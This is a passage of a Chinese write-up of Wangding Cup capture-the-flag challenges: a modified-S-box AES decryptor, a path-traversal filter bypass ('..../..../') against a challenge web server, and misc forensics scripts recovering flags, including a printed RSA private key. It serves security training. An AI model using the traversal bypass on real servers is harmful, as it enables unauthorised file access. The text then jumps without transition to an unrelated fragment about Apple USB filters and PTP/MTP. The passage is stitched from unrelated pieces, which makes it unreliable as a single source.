0x5C, 0xAB, 0x37, 0xDF, 0xFB, 0x6B, 0x2D, 0xC1, 0x8B, 0xC9,
0xD1, 0x80, 0x2C, 0x94, 0x00, 0x25, 0x35, 0x4B, 0xD4, 0x3B,
0x49, 0x02, 0xF8, 0xA4, 0x46, 0x1C, 0x89, 0x0C, 0x97, 0xDE,
0x20, 0xCA, 0x9E, 0x1D, 0xC4, 0xB5]
rsbox = [0] * 256
for i in range(256):
rsbox[sbox[i]] = i
print(rsbox)

C代码如下:

main.cpp

#include <stdio.h>
#include "aes.hpp"

uint8_t Buf[48] = { };//密文


int main()
{
uint8_t key[16] = {
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A,
0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10 };


AES_ctx aes_ctx;
// AES_init_ctx_iv(&aes_ctx, key, key);
// AES_CBC_encrypt_buffer(&aes_ctx, Buf, 48);
AES_init_ctx_iv(&aes_ctx, key, key);
AES_CBC_decrypt_buffer(&aes_ctx, Buf, 48);

printf("%s\n", Buf);


}

AES.cpp

/*

This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.

The implementation is verified against the test vectors in:
National Institute of Standards and Technology Special Publication 800-38A 2001 ED

ECB-AES128
----------

plain-text:
6bc1bee22e409f96e93d7e117393172a
ae2d8a571e03ac9c9eb76fac45af8e51
30c81c46a35ce411e5fbc1191a0a52ef
f69f2445df4f9b17ad2b417be66c3710

key:
2b7e151628aed2a6abf7158809cf4f3c

resulting cipher
3ad77bb40d7a3660a89ecaf32466ef97
f5d3d58503b9699de785895a96fdbaaf
43b1cd7f598ece23881b00e3ed030688
7b0c785e27e8ad3f8223207104725dd4


NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0)
You should pad the end of the string with zeros if this is not the case.
For AES192/256 the key size is proportionally larger.

*/


/*****************************************************************************/
/* Includes: */
/*****************************************************************************/
#include <string.h> // CBC mode, for memset
#include "aes.h"

#include <stdio.h>

/*****************************************************************************/
/* Defines: */
/*****************************************************************************/
// The number of columns comprising a state in AES. This is a constant in AES. Value=4
#define Nb 4

#if defined(AES256) && (AES256 == 1)
#define Nk 8
#define Nr 14
#elif defined(AES192) && (AES192 == 1)
#define Nk 6
#define Nr 12
#else
#define Nk 4 // The number of 32 bit words in a key.
#define Nr 10 // The number of rounds in AES Cipher.
#endif

// jcallan@github points out that declaring Multiply as a function
// reduces code size considerably with the Keil ARM compiler.
// See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3
#ifndef MULTIPLY_AS_A_FUNCTION
#define MULTIPLY_AS_A_FUNCTION 0
#endif




/*****************************************************************************/
/* Private variables: */
/*****************************************************************************/
// state - array holding the intermediate results during decryption.
typedef uint8_t state_t[4][4];



// The lookup-tables are marked const so they can be placed in read-only storage instead of RAM
// The numbers below can be computed dynamically trading ROM for RAM -
// This can be useful in (embedded) bootloader applications, where ROM is often limited.
static const uint8_t sbox[256] = {
//0 1 2 3 4 5 6 7 8 9 A B C D E F
0xED, 0xF6, 0xDC, 0x13, 0xA7, 0xB9, 0x3A, 0x75, 0x65, 0x45,
0xA5, 0x9A, 0x1B, 0xC3, 0xE5, 0xAF, 0xBB, 0x6F, 0xAC, 0x69,
0xF5, 0xB0, 0xE7, 0x8D, 0x9C, 0x55, 0x79, 0x24, 0xD5, 0xBD,
0x06, 0xD0, 0xA9, 0x9F, 0x52, 0x10, 0x83, 0x0A, 0x72, 0x19,
0x50, 0xF1, 0x5A, 0x99, 0x32, 0x73, 0x56, 0xCE, 0x2E, 0xD8,
0xCB, 0x07, 0x63, 0xB8, 0xA1, 0x70, 0xF9, 0xE1, 0x3E, 0xCF,
0xEB, 0xC2, 0xB3, 0xE8, 0xA0, 0x7F, 0xE0, 0xFD, 0x4F, 0x31,
0x87, 0xA2, 0x95, 0xAD, 0x47, 0x0F, 0x90, 0x1E, 0x18, 0x86,
0x0E, 0x27, 0x3C, 0x82, 0x1F, 0xFF, 0x17, 0x36, 0xBA, 0xF3,
0xC5, 0x54, 0x96, 0x29, 0x04, 0x2B, 0x67, 0x33, 0x0D, 0x42,
0xE9, 0xF2, 0x44, 0x0B, 0xEA, 0x51, 0xE3, 0x4D, 0xFC, 0x26,
0xC7, 0x7E, 0x74, 0x91, 0xE6, 0x7A, 0xD9, 0x16, 0x30, 0xA8,
0x57, 0x60, 0x8C, 0x21, 0x61, 0x5D, 0x76, 0x2F, 0x03, 0x64,
0xB2, 0xA6, 0x8A, 0x8F, 0xB7, 0xEC, 0x1A, 0x7C, 0x88, 0xAE,
0x39, 0xAA, 0x59, 0x66, 0x6D, 0x2A, 0xFA, 0x4A, 0x40, 0xC8,
0xC0, 0x12, 0x98, 0x4C, 0x85, 0x6A, 0x05, 0x23, 0xDA, 0x43,
0xD3, 0x84, 0x78, 0x3F, 0x6C, 0xD2, 0x6E, 0x68, 0x22, 0x9D,
0xF4, 0x58, 0xB6, 0xA3, 0x62, 0x4E, 0x34, 0xD7, 0xF0, 0x53,
0xB1, 0xC6, 0x77, 0x5F, 0x48, 0x7D, 0x5E, 0x08, 0xE2, 0x71,
0x11, 0xDB, 0xFE, 0x81, 0xCD, 0xF7, 0x15, 0xEF, 0x01, 0x9B,
0x3D, 0x28, 0xB4, 0x38, 0xBC, 0xD6, 0x41, 0x93, 0xDD, 0xBF,
0x09, 0x92, 0xEE, 0xCC, 0xE4, 0x14, 0x8E, 0x5B, 0xBE, 0x7B,
0x5C, 0xAB, 0x37, 0xDF, 0xFB, 0x6B, 0x2D, 0xC1, 0x8B, 0xC9,
0xD1, 0x80, 0x2C, 0x94, 0x00, 0x25, 0x35, 0x4B, 0xD4, 0x3B,
0x49, 0x02, 0xF8, 0xA4, 0x46, 0x1C, 0x89, 0x0C, 0x97, 0xDE,
0x20, 0xCA, 0x9E, 0x1D, 0xC4, 0xB5 };

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static const uint8_t rsbox[256] = {
234, 198, 241, 128, 94, 156, 30, 51, 187, 210, 37, 103, 247, 98, 80, 75, 35, 190, 151, 3, 215, 196, 117, 86, 78, 39, 136, 12, 245, 253, 77, 84, 250, 123, 168, 157, 27, 235, 109, 81, 201, 93, 145, 95, 232, 226, 48, 127, 118, 69, 44, 97, 176, 236, 87, 222, 203, 140, 6, 239, 82, 200, 58, 163, 148, 206, 99, 159, 102, 9, 244, 74, 184, 240, 147, 237, 153, 107, 175, 68, 40, 105, 34, 179, 91, 25, 46, 120, 171, 142, 42, 217, 220, 125, 186, 183, 121, 124, 174, 52, 129, 8, 143, 96, 167, 19, 155, 225, 164, 144, 166, 17, 55, 189, 38, 45, 112, 7, 126, 182, 162, 26, 115, 219, 137, 185, 111, 65, 231, 193, 83, 36, 161, 154, 79, 70, 138, 246, 132, 228, 122, 23, 216, 133, 76, 113, 211, 207, 233, 72, 92, 248, 152, 43, 11, 199, 24, 169, 252, 33, 64, 54, 71, 173, 243, 10, 131, 4, 119, 32, 141, 221, 18, 73, 139, 15, 21, 180, 130, 62, 202, 255, 172, 134, 53, 5, 88, 16, 204, 29, 218, 209, 150, 227, 61, 13, 254, 90, 181, 110, 149, 229, 251, 50, 213, 194, 47, 59, 31, 230, 165, 160, 238, 28, 205, 177, 49, 116, 158, 191, 2, 208, 249, 223, 66, 57, 188, 106, 214, 14, 114, 22, 63, 100, 104, 60, 135, 0, 212, 197, 178, 41, 101, 89, 170, 20, 1, 195, 242, 56, 146, 224, 108, 67, 192, 85 };
#endif

// The round constant word array, Rcon[i], contains the values given by
// x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
static const uint8_t Rcon[11] = {
0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 };

/*
* Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12),
* that you can remove most of the elements in the Rcon array, because they are unused.
*
* From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon
*
* "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed),
* up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm."
*/


/*****************************************************************************/
/* Private functions: */
/*****************************************************************************/
/*
static uint8_t getSBoxValue(uint8_t num)
{
return sbox[num];
}
*/
#define getSBoxValue(num) (sbox[(num)])

// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states.
static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key)
{
unsigned i, j, k;
uint8_t tempa[4]; // Used for the column/row operations

// The first round key is the key itself.
for (i = 0; i < Nk; ++i)
{
RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
}

// All other round keys are found from the previous round keys.
for (i = Nk; i < Nb * (Nr + 1); ++i)
{
{
k = (i - 1) * 4;
tempa[0]=RoundKey[k + 0];
tempa[1]=RoundKey[k + 1];
tempa[2]=RoundKey[k + 2];
tempa[3]=RoundKey[k + 3];

}

if (i % Nk == 0)
{
// This function shifts the 4 bytes in a word to the left once.
// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]

// Function RotWord()
{
const uint8_t u8tmp = tempa[0];
tempa[0] = tempa[1];
tempa[1] = tempa[2];
tempa[2] = tempa[3];
tempa[3] = u8tmp;
}

// SubWord() is a function that takes a four-byte input word and
// applies the S-box to each of the four bytes to produce an output word.

// Function Subword()
{
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}

tempa[0] = tempa[0] ^ Rcon[i/Nk];
}
#if defined(AES256) && (AES256 == 1)
if (i % Nk == 4)
{
// Function Subword()
{
tempa[0] = getSBoxValue(tempa[0]);
tempa[1] = getSBoxValue(tempa[1]);
tempa[2] = getSBoxValue(tempa[2]);
tempa[3] = getSBoxValue(tempa[3]);
}
}
#endif
j = i * 4; k=(i - Nk) * 4;
RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
}
}

void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
{
KeyExpansion(ctx->RoundKey, key);
}
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
{
KeyExpansion(ctx->RoundKey, key);
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv)
{
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
#endif

// This function adds the round key to state.
// The round key is added to the state by an XOR function.
static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey)
{
uint8_t i,j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];
}
}
}

// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void SubBytes(state_t* state)
{
uint8_t i, j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[j][i] = getSBoxValue((*state)[j][i]);
}
}
}

// The ShiftRows() function shifts the rows in the state to the left.
// Each row is shifted with different offset.
// Offset = Row number. So the first row is not shifted.
static void ShiftRows(state_t* state)
{
uint8_t temp;

// Rotate first row 1 columns to left
temp = (*state)[0][1];
(*state)[0][1] = (*state)[1][1];
(*state)[1][1] = (*state)[2][1];
(*state)[2][1] = (*state)[3][1];
(*state)[3][1] = temp;

// Rotate second row 2 columns to left
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;

temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;

// Rotate third row 3 columns to left
temp = (*state)[0][3];
(*state)[0][3] = (*state)[3][3];
(*state)[3][3] = (*state)[2][3];
(*state)[2][3] = (*state)[1][3];
(*state)[1][3] = temp;
}

static uint8_t xtime(uint8_t x)
{
return ((x<<1) ^ (((x>>7) & 1) * 0x1b));
}

// MixColumns function mixes the columns of the state matrix
static void MixColumns(state_t* state)
{
uint8_t i;
uint8_t Tmp, Tm, t;
for (i = 0; i < 4; ++i)
{
t = (*state)[i][0];
Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;
Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ;
Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ;
Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ;
Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ;
}
}

// Multiply is used to multiply numbers in the field GF(2^8)
// Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary
// The compiler seems to be able to vectorize the operation better this way.
// See https://github.com/kokke/tiny-AES-c/pull/34
#if MULTIPLY_AS_A_FUNCTION
static uint8_t Multiply(uint8_t x, uint8_t y)
{
return (((y & 1) * x) ^
((y>>1 & 1) * xtime(x)) ^
((y>>2 & 1) * xtime(xtime(x))) ^
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */
}
#else
#define Multiply(x, y) \
( ((y & 1) * x) ^ \
((y>>1 & 1) * xtime(x)) ^ \
((y>>2 & 1) * xtime(xtime(x))) ^ \
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ \
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))) \

#endif

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*
static uint8_t getSBoxInvert(uint8_t num)
{
return rsbox[num];
}
*/
#define getSBoxInvert(num) (rsbox[(num)])

// MixColumns function mixes the columns of the state matrix.
// The method used to multiply may be difficult to understand for the inexperienced.
// Please use the references to gain more information.
static void InvMixColumns(state_t* state)
{
int i;
uint8_t a, b, c, d;
for (i = 0; i < 4; ++i)
{
a = (*state)[i][0];
b = (*state)[i][1];
c = (*state)[i][2];
d = (*state)[i][3];

(*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
(*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
(*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
(*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}


// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void InvSubBytes(state_t* state)
{
uint8_t i, j;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 4; ++j)
{
(*state)[j][i] = getSBoxInvert((*state)[j][i]);
}
}
}

static void InvShiftRows(state_t* state)
{
uint8_t temp;

// Rotate first row 1 columns to right
temp = (*state)[3][1];
(*state)[3][1] = (*state)[2][1];
(*state)[2][1] = (*state)[1][1];
(*state)[1][1] = (*state)[0][1];
(*state)[0][1] = temp;

// Rotate second row 2 columns to right
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;

temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;

// Rotate third row 3 columns to right
temp = (*state)[0][3];
(*state)[0][3] = (*state)[1][3];
(*state)[1][3] = (*state)[2][3];
(*state)[2][3] = (*state)[3][3];
(*state)[3][3] = temp;
}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

// Cipher is the main function that encrypts the PlainText.
static void Cipher(state_t* state, const uint8_t* RoundKey)
{
uint8_t round = 0;

// Add the First round key to the state before starting the rounds.
AddRoundKey(0, state, RoundKey);

// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without MixColumns()
for (round = 1; round < 10 ; ++round)
{
SubBytes(state);
MixColumns(state);
ShiftRows(state);
AddRoundKey(round, state, RoundKey);
}
// Add round key to last round
SubBytes(state);
ShiftRows(state);

AddRoundKey(Nr, state, RoundKey);
}

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static void InvCipher(state_t* state, const uint8_t* RoundKey)
{
uint8_t round = 0;

// Add the First round key to the state before starting the rounds.
AddRoundKey(Nr, state, RoundKey);

// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr rounds are executed in the loop below.
// Last one without InvMixColumn()
InvShiftRows(state);
InvSubBytes(state);

for (round = (Nr - 1);round > 0; --round)
{
printf("%d\n", round);

AddRoundKey(round, state, RoundKey);

InvShiftRows(state);
InvMixColumns(state);
InvSubBytes(state);

}
AddRoundKey(0, state, RoundKey);

}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

/*****************************************************************************/
/* Public functions: */
/*****************************************************************************/
#if defined(ECB) && (ECB == 1)


void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf)
{
// The next function call encrypts the PlainText with the Key using AES algorithm.
Cipher((state_t*)buf, ctx->RoundKey);
}

void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf)
{
// The next function call decrypts the PlainText with the Key using AES algorithm.
InvCipher((state_t*)buf, ctx->RoundKey);
}


#endif // #if defined(ECB) && (ECB == 1)





#if defined(CBC) && (CBC == 1)


static void XorWithIv(uint8_t* buf, const uint8_t* Iv)
{
uint8_t i;
for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size
{
buf[i] ^= Iv[i];
}
}

void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length)
{
size_t i;
uint8_t *Iv = ctx->Iv;
for (i = 0; i < length; i += AES_BLOCKLEN)
{
XorWithIv(buf, Iv);
Cipher((state_t*)buf, ctx->RoundKey);
Iv = buf;
buf += AES_BLOCKLEN;
}
/* store Iv in ctx for next call */
memcpy(ctx->Iv, Iv, AES_BLOCKLEN);
}

void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
{
size_t i;
uint8_t storeNextIv[AES_BLOCKLEN];
for (i = 0; i < length; i += AES_BLOCKLEN)
{
memcpy(storeNextIv, buf, AES_BLOCKLEN);
InvCipher((state_t*)buf, ctx->RoundKey);
XorWithIv(buf, ctx->Iv);
memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);
buf += AES_BLOCKLEN;
}

}

#endif // #if defined(CBC) && (CBC == 1)



#if defined(CTR) && (CTR == 1)

/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
{
uint8_t buffer[AES_BLOCKLEN];

size_t i;
int bi;
for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi)
{
if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */
{

memcpy(buffer, ctx->Iv, AES_BLOCKLEN);
Cipher((state_t*)buffer,ctx->RoundKey);

/* Increment Iv and handle overflow */
for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi)
{
/* inc will overflow */
if (ctx->Iv[bi] == 255)
{
ctx->Iv[bi] = 0;
continue;
}
ctx->Iv[bi] += 1;
break;
}
bi = 0;
}

buf[i] = (buf[i] ^ buffer[bi]);
}
}

#endif // #if defined(CTR) && (CTR == 1)

aes.h

#ifndef _AES_H_
#define _AES_H_

#include <stdint.h>
#include <stddef.h>

// #define the macros below to 1/0 to enable/disable the mode of operation.
//
// CBC enables AES encryption in CBC-mode of operation.
// CTR enables encryption in counter-mode.
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.

// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
#ifndef CBC
#define CBC 1
#endif

#ifndef ECB
#define ECB 1
#endif

#ifndef CTR
#define CTR 1
#endif


#define AES128 1
//#define AES192 1
//#define AES256 1

#define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only

#if defined(AES256) && (AES256 == 1)
#define AES_KEYLEN 32
#define AES_keyExpSize 240
#elif defined(AES192) && (AES192 == 1)
#define AES_KEYLEN 24
#define AES_keyExpSize 208
#else
#define AES_KEYLEN 16 // Key length in bytes
#define AES_keyExpSize 176
#endif

struct AES_ctx
{
uint8_t RoundKey[AES_keyExpSize];
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
uint8_t Iv[AES_BLOCKLEN];
#endif
};

void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
#endif

#if defined(ECB) && (ECB == 1)
// buffer size is exactly AES_BLOCKLEN bytes;
// you need only AES_init_ctx as IV is not used in ECB
// NB: ECB is considered insecure for most uses
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf);
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf);

#endif // #if defined(ECB) && (ECB == !)


#if defined(CBC) && (CBC == 1)
// buffer size MUST be mutile of AES_BLOCKLEN;
// Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv()
// no IV should ever be reused with the same key
void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);

#endif // #if defined(CBC) && (CBC == 1)


#if defined(CTR) && (CTR == 1)

// Same function for encrypting as for decrypting.
// IV is incremented for every block, and used after encryption as XOR-compliment for output
// Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv()
// no IV should ever be reused with the same key
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);

#endif // #if defined(CTR) && (CTR == 1)


#endif // _AES_H_

aes.hpp

#ifndef _AES_HPP_
#define _AES_HPP_

#ifndef __cplusplus
#error Do not include the hpp header in a c project!
#endif //__cplusplus

extern "C" {
#include "aes.h"
}

#endif //_AES_HPP_

re02

rust编写,会开启8080端口作为web服务,且只会处理get请求

Image

可以看到../被过滤替换为/

Image

..../..../绕过

Image

三、朱雀组

Misc1

在一间阴暗的地下室里,网络安全专家小张正紧盯着屏幕,刚刚截取到一批黑客通过卫星盗取的数据。数据流中杂乱的信息让他感到困惑,直到他注意到一个异常的加密信号。他开始分析这段信号,经过数小时的解密,终于提取出关键信息:一份重要的文件。他必须迅速采取行动,联系上级并确保这份信息不落入黑客手中。
提交的flag格式:wdflag{xxxxx}

打开文件一堆01,差分曼彻斯特

Image

写个脚本

from libnum import *

# 读取文件内容
with open("data", "r", encoding="utf-8") as f:
all_str = f.read()

# 计算输出字符串
out = []
n = (len(all_str) // 2) - 1

# 使用列表推导式构建输出
for i in range(n):
out.append('0' if all_str[i*2:i*2+2] == all_str[i*2+2:i*2+4] else '1')

# 将列表转换为字符串并转换为十六进制
hex_output = hex(int(''.join(out), 2))[2:]

# 将结果写入文件
with open("tmp.txt", "w") as f:
f.write(hex_output)

Image

去掉头部100000015转zip

Image

发现zip文件中夹杂多余字节,secret.png被分开,间隔为6个字节,估计是多余了6个字节。至于每取出多少字节后去除尾部6个字节,可以爆破。

因为头部504B03041400没有问题,从504B0304到42020015,长度44,可以从12爆破至44。

附上脚本

# 读取 ZIP 文件
with open("2.zip", "rb") as f:
all_b = f.read()

n = len(all_b)

# 遍历不同的分段大小
for j in range(12, 45):
out = bytearray() # 使用 bytearray 来构建输出
for i in range(0, n, j):
out.extend(all_b[i:i + (j - 6)]) # 使用 extend 方法追加数据

# 写入输出文件
with open(f"out_{j}.zip", "wb") as f:
f.write(out)

多次尝试发现每22个字节去除6个多余字节,可以恢复正常文件

Image

解压缩密码:12345678,解压缩得到图片

ImageImage

cHBhYXNzd2Q=

base64解密

Image

得到密码

ppaasswd

Image

wdflag{f3b32f2151a877cad089c25994e5da4a}

Misc2

题目描述
“新盲盒系列发布了,大家一起来抽奖吧!”此刻的你被这样的字样吸引,于是你决定试试!请使用jdk1.8运行本程序。

Image

给了一个jar文件,我们放到IDEA分析一下

Image

告诉我们是AES加密,并且把密钥也给出来了,我们查看一下加密内容

Image

在线解密一下

https://www.toolhelper.cn/SymmetricEncryption/AES

Image

wdflag{499c1ad9-f66f-4fa0-a6ce-b3aa46f8d598}

Misc3

题目描述
MISC03
小李对计算机安全产生了浓厚的兴趣,他学习了一些关于隐藏文件和磁盘加密的方法。他了解到,文件隐藏和加密是保护个人数据的重要手段,因此决定实践自己的新知识。他得到了一个不错加密软件,于是邀请到你,迫不及待地想要一起测试其效果。

提交的flag格式:wdflag{xxxxx}

png图片,先放到Hex分析一下文件数据

Image

看到有其他文件,先分离一下

Image

分离打开发现都是6字节的txt文件,而且解密还要密码,想到CRC32碰撞

Image

Image

选择三段比较合理的字符合并得到

This_WD_010cryptPw

这就是压缩包的密码,解压文件

得到文档,根据文档名很容易就能猜到是verycrypt加密卷

挂载一下密码为

This_WD_010cryptPw

ImageImageImage

Image

得到key文件

Image

Image

-----BEGIN ENCRYPTED PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAMync9RVIlHuySZqcpNF23ydbg5PgWVcf5Q1oj5ver9CladGc/IvPuZXeQfdG8jcaFudnfV9lT9xL/NRJmOruj80mq3L4gSZnu+bk0EuIfZlDCNJkGyvlzwlDlycHrdAd4CIcaC8NKPxI6nK8Ui/+v6dCbG7x8K1sb79TIgmVLFxAgMBAAECgYAVP707co/2zxrgU9zb3PzcOFnbH0btg/BErplvD2LgrSyN8tca0iw/HR22Uu89uKHWwluqZ7zJeqp6gmZgoq3ajtZf5TB92ncV0Xp/GPs6lRaDkJUInWIPiar23+VQPQ5uxyTnTQOiCGN5R8BZTsCC4zu/UoAuPxDmU9l8WNnGyQJBAPEktbqFyjzxZJC5PmnkiE/gegdz2i7ysN10pDyCgKhV8leS4F9npighluAD1hDiCKYBLw+foK7eB7Mm+RlF62kCQQDZQzyzebZSWmX/OCyrFk5VFfd10/lnsqQXg/RgJg2jh1UbWTiE6GDFa3H+JuYBDG/fcuuxYZ+TCDOxyDZoKHzJAkEAgA7Bnxr7ih+bCywElBFzvg90Xk7MuA/TktclfKjFECAMQStTkfamCzvDNpVy8aZHd3i7eC2KFDL+ncn9kMlLuQJAIkgWuucYmrQC5huSCMjzQT+/FUuGThOFCuTaWZWHj2caSb9xSJ92LZB/oy+2GTJCMMrsX8fcqxGfPo0t8I966QJBALdfMm0BkauVifxpAnSvfGWbuMsOalZ5Un2kjeIcCr9XBA2xQ7/VJnb+E4kHdF+8WBNONHGysrxizw29N39P53Q=
-----END ENCRYPTED PRIVATE KEY-----

RSA加密,想到还有个flag.txt,RSA解密一下

Image

https://tool.lvtao.net/rsa

Image



网鼎杯部分组附件内容:链接: https://pan.baidu.com/s/1cqv39HqfPLSd3ZLqlg1dgA?pwd=f39c 提取码: f39c 




参考原文转载链接地址:

https://mp.weixin.qq.com/s/Icf6QC1eCsz95vFdDpdm7g

https://mp.weixin.qq.com/s/HhL4lqcL_3EeYg1TDeBOKg

https://goodlunatic.github.io/posts/1a285be/#%E9%A2%98%E7%9B%AE%E5%90%8D%E7%A7%B0-misc02%E8%B5%9B%E5%90%8E%E5%A4%8D%E7%8E%B0

https://mp.weixin.qq.com/s/5Xet54leUqVOeMYzTX0ROw

https://mp.weixin.qq.com/s/aUXs3-1-VQc7-ZeR07-Tjg

https://mp.weixin.qq.com/s/u9yA1SUq6lneeCIMStybFg

https://mp.weixin.qq.com/s/4HU-jQIKU-xNdzUIGR0Fmg

蘋果USB低級過濾器,可幫助控制操作系統使用USB配置(上)

PTP還是MTP?本文中,我們將重點討論為什麼iphone沒有像我們期望的使用MTP協議的設備那樣提供一整套存儲操作,還將研究USB接口類/子類和WPD_DEVICE_PROTOCOL屬性之間不匹配的原因。為了回答這些問題,我們將了解如何創建WPD設備、如何“掛載”存儲以及如何設置WPD屬性。

首先對比一下使用PTP連接的Android設備和iPhone之間WPD設備協議屬性的差異:

9.jpg

考慮到iPhone中的WPD協議屬性,我們期望有一組更豐富的選項來與設備交互,可以通過查看設備的接口描述符來快速回答為什麼iPhone表現為PTP設備。

iPhone和小米在PTP和MTP模式下的描述如下:iPhone有多種配置,但無論選擇哪一種,創建WPD的接口PDO總是包含類6和子類1的接口。

10.png

儘管已經回答了最大的問題,但仍然有一些細節,比如為什麼iPhone不允許創建或複制任何東西到它,而另一方面,小米即使使用PTP也允許創建對象,所以對於喜歡深入了解事物的人來說,僅僅瀏覽界面描述是不夠的。

